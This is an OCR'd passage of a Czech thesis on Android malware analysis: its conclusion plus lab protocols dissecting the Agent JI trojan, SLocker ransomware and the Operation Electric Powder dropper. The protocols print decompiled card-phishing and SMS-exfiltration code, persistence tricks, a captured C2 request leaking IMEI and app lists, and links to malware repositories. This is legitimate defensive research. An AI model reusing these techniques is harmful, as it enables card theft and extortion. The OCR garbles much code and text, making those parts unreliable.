procesu dojde k odstranéni vSech uZzivatelskych dat, a proto pokud je to mozné, mélo by dojit
k jejich zaloze. Proces obnoveni probiha tak, ze se zkopiruji data z recovery oddilu do oddilu
aktivniho systému a systém je tak zcela v piivodnim stavu. UzZivatelské obnoveni dat je

mozné proveést prostrednictvim: Nastaveni — Zalohovani a restart — Obnoveni tovarnich dat.
6. Obnoveni tovarnich dat pies recovery méd.

Pokud je zafizeni naprosto nepouzitelné nebo nejde spustit, je mozné provést obnovu tovar-
niho nastaveni prostfednictvim recovery modu. Pfistup k tomuto médu je u kazdého zatizeni
jiny, ale zpravidla se pouzivd kombinace tlacitek vypnuti a zesileni hlasitosti (pfi vypnutém
zatizeni). Jakmile zatizeni nabootuje do recovery modu je mozné pomoci tlacitek ovladani

hlasitosti ptejit k obnoveni tovarnich dat.
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ZAVER

V teoretické ¢asti byla popsana platforma Android a zptsoby jejiho zabezpeceni, které je
feSeno ve tfech trovnich — systémové, aplikacni a uzivatelské. Podle zjisténych skute¢nosti
se da fici, ze platforma je dobfe zabezpecena, ale stejné jako u vétSiny ostatnich systému
nejvice zalezi na uzivateli. Ten je nejslabSim prvkem zabezpecovaciho systému a pro zvy-
Seni bezpecnosti je nutné, aby byl opatrny a dobie seznameny s bezpecnostnimi zdsadami
a riziky. Z toho ditvodu byly v zévéru praktické casti stanovena doporuceni, ktera maji zvysit

povédomi o problematice mezi uzivateli a pomoci s prevenci proti $kodlivym aplikacim.

Dale byly popsany a klasifikovany Skodlivé aplikace zamétené na platformu, véetné de-
tailnéjSiho popisu tii aplikaci, které byly analyzovany v praktické ¢asti. Ukazalo se, Ze nej-
roz$ifené&j$im typem malwaru jsou Trojany, s podilem pies 99 %. Tento typ se ¢asto maskuje
za legitimni aplikace, jeho Skodliva ¢innost byva uzivateli skryta a cilem je ve vét$ing pii-
padi kradez informaci. K Sifeni Skodlivych aplikaci se stale Castéji pouzivaji podvodné we-
bové stranky a dal$i formy phisingu. Rizikové jsou 1 neoficialni obchody s aplikacemi a ani
oficialni obchod Play neni naprosto bezpecny, ackoli riziko vyskytu skodlivych aplikaci je
v ném vyrazné nizsi.

Po malwaru byl popsan 1 princip antivirovych aplikaci. Bylo zjisténo, ze oproti klasickym
pocitaCovym systémliim maji antiviry na platformé Android velmi omezené moznosti, jak se
sandboxingem a systémem fizeni opravnéni. Diky nim antiviry nemohou sledovat chovani
ostatnich aplikaci v redlném case a ani nemohou pfistupovat k jejich soubortim. Antivirové
aplikace jsou tak ¢asto doplnény dal$imi funkcemi, mezi které patii naptiklad ochrana proti

kradezi, optimalizace vykonu nebo blokace hovori.

Prakticka ¢ast se vénuje testim Skodlivych aplikaci a antivirti na redlném zatizeni. Na za-
¢atku je uveden seznam vSech softwarovych nastroji potfebnych k testovani, véetné navoda
na jejich instalaci, konfiguraci a spusténi. Ty jsou navic doplnény feSenim problémi, které
se pii sestavovani navodl vyskytly. Smyslem navodu je ulehcit a jasn€ popsat konfiguraci

pracovni stanice a zafizeni.

Po popisu softwarovych nastrojii nasleduje popis krokti jednotlivych analyz. Pfi stanoveni
postupi bylo vychazeno z redlnych analyz, které zpracovavaji antivirové spole¢nosti. Kazdy
pokus se vénuje jinému zplsobu analyzy aplikace. Cilem je popsat, jakymi zpisoby je

mozné ziskat informace jak z aplikace, tak i ze zatizeni.
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Pti pokusech byly zjistény nekteré zplisoby, jak Skodlivé aplikace rozpoznat, jak Skodlivé
aplikace funguji, jaké prostiedky zneuzivaji nebo jak se snazi zabranit své odinstalaci. Z kaz-

dého pokusu byl vyhotoven protokol obsahujici vSechny zjisténé skutecnosti.

Po otestovani malwaru bylo otestovano i pet nejpopularnéjSich antivirovych aplikaci v tu-
zemsku. Testovacim vzorkem bylo 10 skodlivych aplikaci a ukédzalo se, Ze antiviry poskytuji
pomérné spolehlivou ochranu. Zajimavé je, ze dvé viibec nejpopularnéjsi aplikace Avast

a AVG vysly z testu s nejhorsi GspéSnosti 60 %.

V zavéru praktické ¢asti byly stanoveny a popsany zdsady prevence pied infikovani zafizeni

malwarem a také zpusoby, kterymi je mozné skodlivé aplikace ze zafizeni odstranit.
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SEZNAM PRILOH
PI — Protokol pokusu ¢. 1 — Agent JI

PII - Protokol pokusu €. 2 - SLocker

PII — Protokol pokusu ¢. 3 — Operation Electric Powder



PRILOHA P I: PROTOKOL POKUSU C. 1 - AGENT JI

Vypracoval:

Bc. Daniel Réda

Datum:

24.3.2018

POUZITY HARDWARE

Pracovni stanice:

HP 250 G5 (W4MS9EA)

= Operacni systém:

Windows 10 Home, 64 bit

Zafizeni: LG H440n
= Operacni systém: | 6.0
POUZITY SOFTWARE

Nazev Verze
Android Studio 3.0.1
Androguard 3.2
APKTool 231
PSPad 4.6.1
dex2jar 2.0
BurpSuite CE 1.7.33
Wireshark 243

POUZITY MALWARE

Identifikace: Trojan Downloader: Agent JI

Zdroj: http://github.com/ashishb/android-malware/blob/master/TrojanDownloader.Agent.JI
Nazev souboru: Agentll.apk

Velikost souboru: 198 800 b

MD5 hash souboru:

790A62A841927FAEC1E0675A590C56D1

Stav zarizeni: Zafizeni je v tovarnim nastaveni a neni vloZena SIM ani SD karta. Do sys-
tému je piihlaSen faleSny uzivatel uctem Google. V zatfizeni bylo dale vytvofeno nékolik
faleSnych kontaktl a je v ném nainstalovana aplikace TeamViewer Quick Support z oficial-

niho obchodu.



SCREENSHOTY Z NASTROJE ANDROGUARD:

Nazev balicku:

In [4]: a.get package()
Out[4]: 'cosmetig.fl’

Nazev aplikace:

In [5]: a.get_app_name()
Out[5]: 'Google Play Services'

Hlavni aktivita aplikace:

In [6]: a.get_main_activity()

Out[e]:

"cosmetiq.fl.services.launchActivity’

Dalsi aktivity aplikace:

In [7]: a.get _activities()

Out[7]:

[ 'cosmetiq.fl.services.lLaunchActivity',
"cosmetiq.fl.services.IncomeSMSActivity’,

FO- y
lO-—l,
‘0.CON"]

Seznam opravnéni:

In [18]: a.get permissions()

Out[10]:

[ "android.

"android
'android

"android.
"android.

"android
'android

"android

"android.
"android.
"android.

"android

"android

"android.
"android.
"android.

permission.
.permission.
.permission.
permission.
permission.
.permission.
.permission
"android.
"android.

permission

permission.
.permission
permission.
permission.
.GET_TASKS",

.WRITE SETTINGS',
.VIBRATE",
.ACCESS WIFI STATE',

permission

.permission
"android.
"android.
"android.

permission
permission

permission.
.permission.
permission.
.WRITE_EXTERMAL STORAGE',

permission

permission.

RECEIVE_BOOT_COMPLETED',
READ_CONTACTS',
DEVICE_POWER',
USES_POLICY_ FORCE_LOCK',
RECEIVE_SMS',

READ_SMS',

.WAKE_LOCK",
.WRITE_SMS',

READ_PHONE_STATE",

.ACCESS_NETWORK_STATE",

INTERNET',
SEND_SMS',

CHANGE_WIFI_STATE',
CHANGE_NETWORK_STATE",
SYSTEM_ALERT WINDOW',

READ_EXTERNAL_STORAGE']



POPIS POZADOVANYCH OPRAVNENI:

RECEIVE_BOOT_COMPLETED | Pfijem zprdvy o dokonéeni bootovani B
READ_CONTACTS Ctenfi kontakt(l
Ovladani energie zafizeni, dopl-

3. | DEVICE_POWER e WAKE_L§CK P B
1. | uses pouicr ponce ocx | et semine et iy |

RECEIVE_SMS Piijem SMS N

READ_SMS Cteni SMS N
7. | WAKE_LoCK izsijnéniuspéniproceSONJazhasnutiobra— B
8. | WRITE_SMS Psani SMS N
o, [reno_pronesare | Cenfiermacs it lfomniid e
10. | ACCESS_NETWORK_STATE Cteni informaci o stavu telefonnich siti B
11. | INTERNET Internetova komunikace B
12. | SEND_SMS Odesilani SMS N
13. | GET_TASKS Seznam nedavno spusténych uloh N
14. | WRITE_SETTINGS Cteni a zapis systémového nastaveni S
15. | VIBRATE Pfistup k vibratoru B
16. | ACCESS_WIFI_STATE Cteni informaci o Wi-Fi sitich B
17. | CHANGE_WIFI_STATE Zména stavu Wi-Fi sité B
18. | CHANGE_NETWORK_STATE | Zména stavu telefonni sité B
19. | SYSTEM_ALERT WINDOWS ?:r::li(ace se mlZe zobrazit nad ostatnimi aplika- s
20. | WRITE_EXTERNAL_STORAGE | Zapis dat do externiho ulozisté N
21. | READ_EXTERNAL_STORAGE | Cteni dat z externiho UloZisté N
LEGENDA

N Nebezpecné

B Normalni (bezpecné)

S Podepsané




CINNOSTI APLIKACE PODLE ANDROIDMANIFEST.XML

Services.LaunchActivity

IncomeSMSActivity

Aktivity 0.

>

o.

0.CON

Call.HeadlessSmsSendService

Sluzby

Controllers.Activities.WebMainService

Call.SmsKitKatService

InstallReceiver

Mess.ReceiverMess

Mess.ReceiverPush

Ptijimace

AdministrationReceiver

Mess.Receiverincoming

BootReceiver

NetworkChangeReceiver

OL

ANALYZA ZDROJOVEHO KODU

Cast bankovniho malware:

Cosmetiq.fl - Controllers.activities — WebMainService.class

Nézev tfidy:  o.

localJSONObject
localJlSONObject
localJSONObject

localJSONObject
localJSONObject

.put("cardNum”, this.t);
.put("dateExp”, this.Y);
.put("ccv", this.?);

localJlSONObject.
localJSONObject.
localJlSONObject.
localJSONObject.

put(“holderName", this.®);
put(“countryFromList"”, this.Z®);
put("streetAddress”, this.®);
put("city"”, this.));

.put("postCode”, this.@);

.put("phoneNumber", this.H);
localJSONObject.
localJlSONObject.
localJSONObject.
localJlSONObject.
localJSONObject.

put(“masterSecCode”, this.@);
put(“isCodeViaSms"”, this.@);
put(“dayBirth", this.Q);
put(“monthBirth", this.®);
put(“yearBirth"”, this.@);

return localJSONObject;




O — con.class

if (paramBundle.:.startsWith("5"))
{
i = 213@837518;
paramLayoutInflater = "MasterCard";
}
else if (paramBundle.:.startsWith("4"))

i = 213@837520;
paramLayoutInflater = "Visa";

}

else

{ - -
1=173;
if (paramBundle.i.startsWith("3"))
{

paramLayoutInflater = "American
i=3;
}
}

paramBundle.setText(String.format("For security purposes please provide us your full %s Securecode”, new Object[]
paramBundle = this.|;

getResources();

paramBundle.setText(String.format("%s Securecode:”, new Object[] { paramLayoutInflater }));

paramBundle = this.’;

getResources();

paramBundle.setText(String.format("If you are usually receive your %s Securecode code through SMS please check",

m
T

Sbér informaci o aplikacich:

Cosmetiq.fl — Controllers.activities — WebMainService.class
Nazev tiidy: Q-1
public static String 1 = new String(Baseé4.decode("Yv29t

cm9pZAogICAg", ©));

Y29tLmFuZHJvaWQudmVuZGluZxjb20udmlizZXludm9pcCxjb20u
d2hhdHNhcHAsY29tLnNreXBILnJhaWRIcxjb20uZmFjZWJvb2su
Zakodovany | b3JjYSwgY29tLmZhY2Vib29rLmthGFuYSwgY29tLmluc3RhZ3JhbS
retézec: 5hbmRyb2IkLCBjb20udHddHRIci5hbmRyb2IkLBjb20uYW5kecm9
pPZC5nYWxsZXJ5M2QsIGpwLm5hdmVyLmxpmUuYWS5kcm9pZA

oglCAg

com.android.vending,com.viber.voip,

com.whatsapp,com.skype.raider,
Dekédovany
com.facebook.orca, com.facebook.katana,
retézec:
com.instagram.android, com.twitter.android,

com.android.gallery3d, jp.naver.line.android




public 1(WebMainService paramWebMainService)
{

this.t = paramWebMainService;

this. = ((ActivityManager)this..getSystemService("activity"));

this., = this.X.getSharedPreferences(_.H, @).getString(_.J, _.:);

HashMap localHashMap = new HashMap();

i = localHashMap;

localHashMap.put("com.facebook.orca”, new ("facebook.php”, false));
.put("com.facebook.katana", new ("facebook.php”, false));
.put(paramlebMainService.getString(2131427345), new (paramWebMainService.getString(2131427346), true));
.put(paramlebMainService.getString(2131427355), new (paramWebMainService.getString(2131427356), true));
.put(“com.viber.voip"”, new (“"viber.php", false));
.put("com.whatsapp”, new (“whatsapp.php", false));

[

Zapinani aplikace prostfednictvim Alarm Manageru:

Cosmetiq.fl — Controllers.activities — WebMainService.class

Nazev tiidy: 0-8

public static void ~(WebMainService paramWebMainService)

{
AlarmManager localAlarmManager = (AlarmManager)paramWebMainService.getSystemService(“alarm");
paramWebMainService = PendingIntent.getBroadcast(paramWebMainService, @, new Intent(paramWebMainService, B.class), ©);
localAlarmManager.setRepeating(@, System.currentTimeMillis(), 6@ee@L, paramWebMainService);

}
Zapnuti aplikace po jejim ukonceni:
Cosmetiq.fl — Controllers.activities — WebMainService.class

public void onDestroy()
{

super.onDestroy();
try

{
startService(new Intent(this, WebMainService.class));

return;

}

catch (Exception localException)
for (53) {1}

}
Z..0);
}

Zapnuti Wi-Fi a mobilnich dat:

Cosmetiq.fl — Controllers.activities — WebMainService.class



paramContext = (ConnectivityManager)this...getSystemService( connectivity”);
try

{

paramIntent = Class.forName(paramContext.getClass().getName()).getDeclaredField( "mservice”);

paramIntent.setAccessible(true);

paramContext = paramIntent.get(paramContext);

paramIntent = Class.forMame(paramContext.getClass().getName()).getDeclaredMethod("setMobileDatabnabled”, new Class[] { Boolean.TYPE });
paramIntent.setAccessible(true);

paramIntent.invoke(paramContext, new Object[] { Boolean.valueOf(true) });

catch (ClassNotFoundException paramContext)
paramContext.printStackTrace();
catch (Exception paramContext)
Log.e("Utilconnect™, "Exception: " + paramContext.getMessage());
paramContext = this.,;

try
{

paramContext = (WifiManager)paramContext.getSystemService("wifi™);
if (lparamContext.iswifitnabled()) {
paramContext.setWifiEnabled(true);
}
}

Vytvorieni a pristup k souboru google.log v externim tlozisti:
O - ".class
new File(Environment.getExternalStorageDirectory(), “"google.log");

Cosmetiq.fl — Controllers.activities — WebMainService.class

Nazev tfidy: Q.7

static

{ -
new File(Environment.getExternalStorageDirectory() + "/google.log");
new SimpleDateFormat("dd.MM.yyyy hhimm:ss™);

}

Zména vychozi SMS aplikace:
Cosmetiq.fl — Services — Call — SmsKitKatService.class

Niézev tiidy: Q="

localObjectd = new Intent("android.provider.Telephony.ACTION CHANGE DEFAULT");
((Intent)localobjecta).putExtra( package”, (String)localobject3);
((Intent)localObjectd).setFlags(268435456);
this.].startActivity((Intent)localObjecta};

Kontrola, jestli se zaFizeni nachazi v Rusku:

Cosmetiq.fl — Services — Receivers — BootReceiver.class



boolean bool = ((TelephonyManager)paramContext.getSystemService("phone”)).getSimCountryIso().contains("ru”);
if (bool) {

return true;

}
bool

= Locale.getDefault().getISO3Country().contains("RUS");

if (bool) {
return true;

}

Vypis procesi:

O — If.class

File[] arrayOfFile = new File("/proc”).listFiles();

Odesilani dat:

O-

‘.class

protected final HttpRequestBase _()

{

try

{

JSONObject locallSONObject = new JSONObject();

locallSONObject.put(“text”, this.1);

locallSONObject.put(“number", this.1);

locallSONObject.put("date”, this.a);

HttpPost localHttpPost = new HttpPost(geturl());

2.0

ArrayList localArraylist = new ArraylList();

localArrayList.add(new BasicNameValuePair("bot_id", -. (this..)));
localArrayList.add(new BasicNameValuePair("=ms", locallSONObject.toString()));
localHttpPost.setEntity(new UrlEncodedFormEntity(localArraylList, "UTF-8"));
return localHttpPost;

Ovéreni pritomnosti aplikace TeamViewer:

O -.class

if (paramStringl.contains("com.teamviewer.quicksupport.market™)) {

bool

= true;
else {

false;



INSTALACE APLIKACE

Instala¢ni obrazovka aplikace a zadost o ud€leni prava spravce zafizeni.

~ .
“a Google Play Services

Chcete tuto aplikaci nainstalovat? > ) Google Play Services
Aplikace ziska pristup k témto
opra'vnénl'm: In order for the update can be completely

installed , activate the access.

= | x. = Aktivaci tohoto spravce umoznite aplikaci Google
g Cist Vase kontakty Play Services provadét nasledujici operace:
B Cistvase zprdvy (SMS nebo MMS) * Zménit heslo pro odemknuti
o . obrazovky

Odesflat nZE}ravy’ 2l . Zmeénit heslo pro odemknuti obrazovky

® To muze stat penize . X

Pfijmout textové zpravy (SMS * Nastavit pravidla pro heslo

] pravy ( ) Ridit délku hesel pro odeméeni obrazovky a v
nich pouzivané znaky

E Pretdhnout pres ostatni aplikace

* Uzamknout obrazovku

Upravit nastaveni systému Ridit, jak a kdy se obrazovka uzamkne

A i i * Nastavit Sifrovani ulozisté
“ S L e D 2l G PoZadovat Sifrovdni ukladanych dat

¢$  Prectéte si obsah vasi SD karty
Upravit nebo smazat obsah karty SD

ZRUSIT INSTALOVAT

ZRUSIT  AKTIVOVAT

INFORMACE O APLIKACI

Ptidani aplikace na seznam vychozich aplikaci pro zasilani zprav a do spravcu zafizeni:

e VYChOZI’ aplikace pro S Zprév

0SOBNI
Zprévy (o]

P Google Play Services
74l Device Description111

Najdi moje zafizeni

Povolit uzaméeni nebo vymazani
ztraceného zafizeni funkci Najdi moje
zafizeni

Google Play Services

“aa




ODEBRANI PRAV SPRAVCE ZARIZENI

Upozornéni pii pokusu o odebrani spravcovstvi a obrazovka s idajnym naslednym systé-
movym updatem.

Upozornéni

Error: Action Impossible

em update in pre

ZRUSIT

ANALYZA SOUBORU LOGCAT

Zamitnuti opravnéni DEVICE_POWER:

PackageManager: Not granting permission android.permission.DEVICE_POMWER to package cosmetiq.fl
Spusténi aplikace:

Timeline: Activity launch_request id:cosmetiq.fl time:656433

ActivityManager: Start proc 11688:cosmetiq.fl/u®a88 for activity cosmetiq.fl/.services.LaunchActivity
ActivityManager: START u@ {flg=0x30000008 cmp=cosmetiq.fl/fo.'} from uid 18888 on display @
ActivityManager: Start proc 12139:cosmetiq.fl/u@a88 for service cosmetiq.fl/.controllers.activities.WebMainService
Chyby ve tridach:

System.err: at o.!. (:35)

System.err: at o.1.run(:67)

Odstranéni zastupce aplikace:

removeApplication ItemInfo =ComponentInfo{cosmetiq.fl/cosmetiq.fl.services.LaunchActivity}



Spusténi WiFi

WifiServiceImplEx: setWifiEnabled: true pid=12511, uid=10889, package= cosmetiq.fl, App Lable : Google Play Serwvices
Nastaveni vychozi SMS aplikace:

Replacing preferred activity cosmetig.fl/.services.IncomeSMSActivity for user 8:
Znovuspusténi aplikace:

Timeline: Activity_launch_request id:cosmetig.fl time:9413711

Udéleni spravcovstvi:

setActiveAdmin : ComponentInfo{cosmetiq.fl/cosmetiq.fl.services.receivers.AdministrationReceiver}

Odebrani spravcovstvi:

removeActiveAdmin : ComponentInfo{cosmetiq.fl/cosmetiq.fl.services.receivers.AdministrationReceiver}

ANALYZA DUMPSYS SOUBORU
Informace o aplikaci:
*APP* UID 10089 ProcessRecord{1d7e536 13389:cosmetiq.f1/uPal9}
user #0 uid=10089 gids={50889, 9997, 3003}
requiredAbi=armeabi-v7a instructionSet=null

class=0.aUX

Sluzby:
Services:
- ServiceRecord{821871d u® cosmetig.fl/.controllers.activities.WebMainService}

- ServiceRecord{cfc13f4 u@ cosmetiq.fl/o.+}

Zapnuti aplikace alarmem:

RTC_WAKEUP #1: Alarm{a6@ed3b tag *walarm*:cosmetiqg.fl/o." type @ when 1524948936122 cosmetiq.fl}
tag=*walarm*:cosmetiq.fl/o."
type=0 whenElapsed=+205390ms when=2018-04-28 22:55:36
window=+4558ms repeatInterval=60000 count=0 flags=0x0

operation=PendingIntent{a2f2c58: PendingIntentRecord{bd9a@d2 cosmetiq.fl broadcastIntent}}



Aktivity aplikace:

Package cosmetiq.fl:
WRITE_SMS: mode=1; rejectTime=+37s856ms ago
SYSTEM _ALERT WINDOW: mode=3; rejectTime=+1m26s5648ms ago
WAKE_LOCK: mode=0; time=+3m53s5389ms ago; duration=+lms
OP_READ PHOME_STATE: mode=@; time=+37s846ms ago
READ EXTERMAL STORAGE: mode=0; time=+37s5947ms ago

WRITE_EXTERNAL STORAGE: mode=0; time=+375947ms ago

Seznam vychozich SMS aplikaci:

Sms:
8f8cdbf com.google.android.talk/com.google.android.apps.hangouts.phone.BabelHomeActivity
bdd2210 com.android.mms/.ui.ComposeMessagefctivity

fBedac7 cosmetiq.fl/.services.IncomeSMSActivity

component_name=cosmetiq.fl.services.lLaunchActivity, android.intent.extra.DONT_KILL_APP=true,

ANALYZA WEBOVEHO PROVOZU

POST http://joguce.info/@12/get.php HTTR/1.1
Content-Length: 414

Content-Type: application/x-www-form-urlencoded
Host: joguce.info

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILAELE (java 1.4)

id=fef%eded87853cel9dca7c488786cda%atrafferId=12384is5creenLock=false&buildName=5.1.1-1819
748&info=remote id¥3A+1%2C+tratferId®3a+123%2C+imei %A+ NG C+country®3A+E2C
+cell¥3A+02-C7ZE2C+android¥3A46. 8%82C+model ¥3A4 L GE4+LG-HA48nE2C+numbe r¥34A+82C+applications
#3A+android®7C+com. lge. fmradico®7Ccom. rsupport.rs.activity.lge®¥7Ccom. lge. lgworld
#7Ccosmetiq. f1¥7Ccom. teamviewer.quicksupport.market®7Ccom. 1ge.gmemoplus

SOUBOR GOOGLE.LOG

googlelog
Textovy dokument
0 bajtd



PRILOHA P II: PROTOKOL POKUSU C. 2 - SLOCKER

Vypracoval: Bc. Daniel Réda
Datum: 6.5.2018
Pouzity hardware

Pracovni stanice:

HP 250 G5 (W4MS89EA)

Operacni systém:

Windows 10 Home, 64 bit

Zatizeni: LG H440n
Operacni systém: 6.0
Pouzity software

Nazev Verze
Android Studio 3.0.1
Virus Total -

PSPad 4.6.1
BurpSuite CE 1.7.33
Wireshark 243

Pouzity malware

Identifikace: Trojan Ransomware: SLocker

Zdroj : https://github.com/ethicalhackeragnidhra/Android-Malwares/tree/master/SLocker
Nézev souboru: SLocker.apk

Velikost souboru: 5904 806 B

MDS5 hash souboru:

BAO03C39BAg851C2CB3AC5851B5F029B9C

Stav zaFizeni: Zafizeni je v tovarnim nastaveni a je v ném vloZena SD karta. Do systému je

ptihlaSen faleSny uZivatel uctem Google. V zafizeni jsou dale uloZeny fotografie, textové

soubory, instala¢ni soubory aplikaci a videa. VSechny soubory jsou umistény v internim 1

v externim ulozisti.



SCREENSHOTY Z SOFTWARE VIRUSTOTAL

Nazev balic¢ku:
Package Name com.android.tencent.zdevs.bah

Detekce zavadného obsahu antivirovymi aplikacemi:
_-ff.-— \
\ 37/60 )
N S

Aktivity:

com.android.tencent.zdevs.bah.MainActivity

Pozadovana opravnéni:

android.permission.GET_TASKS
android.permission.INTERNET
android.permission.READ_PHONE_STATE
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.CHANGE_CONFIGURATION
android.permission.MOUNT_UNMOUNT _FILESYSTEMS
android.permission.READ_LOGS
android.permission.ACCESS_NETWORK_STATE
android.permission. ACCESS_WIFI_STATE
android.permission.MODIFY_AUDIO_SETTINGS



POPIS POZADOVANYCH OPRAVNENI

1. | GET TASKS Seznam nedavno spusténych uloh

2. | INTERNET Internetova komunikace

Cteni informaci o zafizeni — tele-
3. | READ PHONE STATE fonni Cislo, operator, stav probihaji-
cich hovoru

4. | WRITE EXTERNAL STORAGE Zapis do externiho uloZiste

5. | CHANGE CONFIGURATION Zména nastaveni jako napf. jazyk

6. | MOUNT UNMOUNT FILESYSTEMS | _0ZWe pripojeni a odpojeni vy-
- - ménitelného Gloziste

Cteni systémovych 1 ich sou-
7. | READ LOGS Cteni systémovych logovacich sou

bort
8. | ACCESS NETWORK STATE Cteni informaci o stavu siti
9. | ACCESS WIFI STATE Cteni informaci o Wi-Fi sitich
10. | MODIFY_AUDIO_SETTINGS Zména nastaveni zvuku

LEGENDA
N Nebezpeéné
B Normalni (bezpecné)

S Podepsané




INSTALACE APLIKACE

Instala¢ni obrazovka aplikace:

TEFERE

Chcete tuto aplikaci nainstalovat?
Aplikace ziska pristup k témto
opravnénim:

&, Cist status telefonu a identitu

¢  Prectéte si obsah vasi SD karty
Upravit nebo smazat obsah karty SD

ZRUSIT INSTALOVAT

ZADOST O VYKUPNE
(obrazovka je vyfocena mobilnim telefonem, protoZze malware znemoznil pofizeni screen-

shotu)

Lycorisradiata

Ooops,your files have been encrypted!
FEYFHLE T HARB?
GH— L EE NN ENTFET .
Bh. BR, SOb, FRe, S5, . s ss, 11
FEALERNX BN 7, RILFEEERTH,
I — MRS (HRTR G AR ERX R, EATIER e s
FF755%, RERIE, SERMNEBRS, REERFHT
- RE PR e Y,

R P ST 975 352
USRI E, DebE RAORERSE A Sk, R
LIARIEER, BB E S A E IR,

BRI, wARCRIIHE. AEHO, REsTa
Ezﬁ%mjuﬁﬁﬁmﬁm,ﬂﬁmgmu,ﬁﬁx%,ﬁ

0184376




Preklad textu Zadosti:

(k prekladu z c¢instiny do anglictiny byl pouzit prekladac Google)

What’s wrong with my phone?

Some of your important files have been encrypted and saved by me. Photos, pictures, docu-

ments, archives, audio, video files, txt files etc. Almost all types of files are encrypted and

cannot be opened properly. This is fundamentally different from normal file corruption.
Is there a way to recover these documents?

Of course there are recoverable methods on the internet. I can guarantee that without our
decryption service, God cannot restore these documents. There is of course a reversible me-
thod for recovering these documents. It can only be restored through our decryption service.
With personality guarantee, it can provide safe and effective recovery service. But there is a
fee, it cannot be postponed indefinitely, please rest assured, I will never lie to you. Whene-

ther you can fix the amount of payment at any time, it will be restored...

ZASIFROVANE SOUBORY
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ANALYZA SOUBORU LOGCAT

Verifikace aplikace

com.google.android. finsky.verifier.impl.ds.c(212): Verification complete: id=0, package_name=com.android.tencent.zdevs.bah

Dokonceni instalace:

[BNRAppListMgrReceiver]: android.intent.action.PACKAGE_ADDED : com.android.tencent.zdevs.bah

Spusténi procesu:
START u® {act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=08x10068000
pkg=com.android.tencent. zdevs.bah cmp=com.android.tencent.zdevs.bah/.MainActivity} from uid 18848 on display @

Zamitnuti opravnéni:

Not granting permission android.permission.READ_LOGS to package com.android.tencent.zdevs.bah (protectionLevel
Not granting permission android.permission.CHANGE_CONFIGURATION to package com.android.tencent.zdevs.bah (prot

Not granting permission android.permission.MOUNT_UNMOUNT_FILESYSTEMS to package com.android.tencent.zdevs.bah

Piinuceni ukondeni aktivity:

Force finishing activity ActivityRecord{35da8bd u® com.android.tencent.zdevs.bah/.MainActivity t149}
Spatné ukonéeni aktivity:

Wtf, activity ActivityRecord{35da8bd u® com.android.tencent.zdevs.bah/.MainActivity t149 f}

in proc activity list not using proc ProcessRecord{682ad42 10210:com.android.tencent.zdevs.bah/u@a88}?!? Using null instead.

Zablokovani tlacitka zpét:

==>disabledNaviBtn() what=0x8, token=android.os.Binder@1@0ad289, pkg=Window{ebd2b19 u@ Starting com.android.tencent.zdevs.bah}

disableNaviBtn: mDisabledNaviBtn=0x@, mDisableRecords.size=@
ANALYZA DUMPSYS SOUBORU
Zména aktivity:

origActivity=com.android.tencent. zdevs.bah/.QQ1279525738

realActivity=com.android.tencent. zdevs.bah/.MainActivity



disabledComponents:
com.android.tencent.zdevs.bah.MainActivity
enabledComponents:

com.android.tencent.zdevs.bah. Q1279525738

Informace o aplikaci:

*APP* UID 18089 ProcessRecord{151c@5a 11588:com.android.tencent.zdevs.bah/uBag9}
user #0 uid=10089 gids={50089, 9997, 3003}

requiredAbi=armeabi-v7a instructionSet=null

Vymazani dat o hovorech a o ziznamech v hlasové strance souvisejici s aplikaci:

<ql="DELETE FROM voicemail_ status WHERE (((source_package = ‘com.android.tencent.zdevs.bah')))"

5ql="SELECT _data FROM calls WHERE (((((source_package = "com.android.tencent.zdevs.bah"})) AND ((type = 4))))"

ANALYZA WEBOVEHO PROVOZU

GET http://biaczhunshijian.51248.com/ HTTP/1.1

User-Agent: Dalvik/2.1.8 (Linux; U; Android 6.8; LG-H448n Build/MRASEBK)
Host: biaozhunshijian.51248.com

Connection: Keep-Alive

Accept-Encoding: gzip

HTTP/1.1 381 Moved Permanently

Server: nginx

Date: Sun, 86 May 2018 17:88:83 GMT
Content-Type: text/html

Content-Length: 178

Connection: close

Location: https://bisozhunshijian.51248.com/

<html:

<head><title>381 Moved Permanently</title></head:
<body bgcolor="white">

<center:<hl>361 Moved Permanently</hl:</center:
<hr><centerznginx</center:

</body>

</html>

Odhaleni adresy softwarem VirusTotal

Interesting Strings

http://biaczhunshijian.51240.com/



PRILOHA P III: PROTOKOL POKUSU C. 2 — OPERATION ELECTRIC POWDER

Vypracoval: Bc. Daniel Réda
Datum: 10.5.2018
POUZITY HARDWARE

Pracovni stanice: HP 250 G5 (W4MS9EA)
= Operacni systém: | Windows 10 Home, 64 bit

Zatizeni: LG H440n

= Operacni systém: | 6.0

POUZITY SOFTWARE

Nazev Verze

Android Studio 3.0.1

Drozer 2.44

BurpSuite CE 1.7.33

Wireshark 243

POUZITY MALWARE

Identifikace: Trojan-Dropper: Operation Electric Powder
Zdroj: https://github.com/ethicalhackeragnidhra/Android-Malwares/tree/master/OperationElectricPowder
Nézev souboru: OperationElectricPowder.apk

Velikost souboru: 1276491 b
MDS5 hash souboru: | 3137448E0OCB7AD&3C433A27B6DBFB090

Stav zafizeni: Zafizeni je v tovarnim nastaveni do systému je pfihlaSen fale$Sny uzivatel

uctem Google.



DATA Z NASTROJE DROZER

Nazev bali¢ku a aplikace:

com.niantclab.pokemonge (Poklemon GO)

Obsah souboru AndroidManifest.xml

dz> run app.package.manifest com.nianteclab.pokemongo
<manifest versicnCocde="1"
versicnNam=="1.,0"
package="com.niantclab.pokemongo"
platformBuildversiconCode="23"
platformBuildversiconName="6&.0-2704002">
<muses—sdk minSdkVersicn="14"
targetSdkVersicn="23":>
</uses—sdk>
<applicaticn label="@2131008&c0"
icon="@2130903040"
debuggakle="trus="
allowBackup="tru="
supportsRt1="trus":
<activity label="@21310%9%9c&0"
name="il.coc.iec.Mainfetivity":>
<intent—filter:>
<acticon name="andrcid.intent.acticn.MATN":
</acticn>
<category name="andrcid.intent.category.LAUNCHER" -
</category>
</intent-filter>
<factivity>
</application>
</manifest>

e

Attack surface:

dz>» run app.package.attacksurface com.niantclab.pockemongo
Lttack Surface:
1 activities exported
0 broadcast receivers exported
0 content providers exported
0 services exported
is debuggakle

Aktivity:

dz>» run app.activity.info —-a com.niantclab.pokemongo
Package: com.nianteclab.pockemongo
il.co.iec.Mainhetivity
Permissicn: null



Spusténi aktivity:
dz> run app.activity.start --compocnent com.niantclab.pckemonge il.co.iec.MainfActivity

Nazev bali¢ku a aplikace skryté aplikace:
com.android.engine (Google Service)

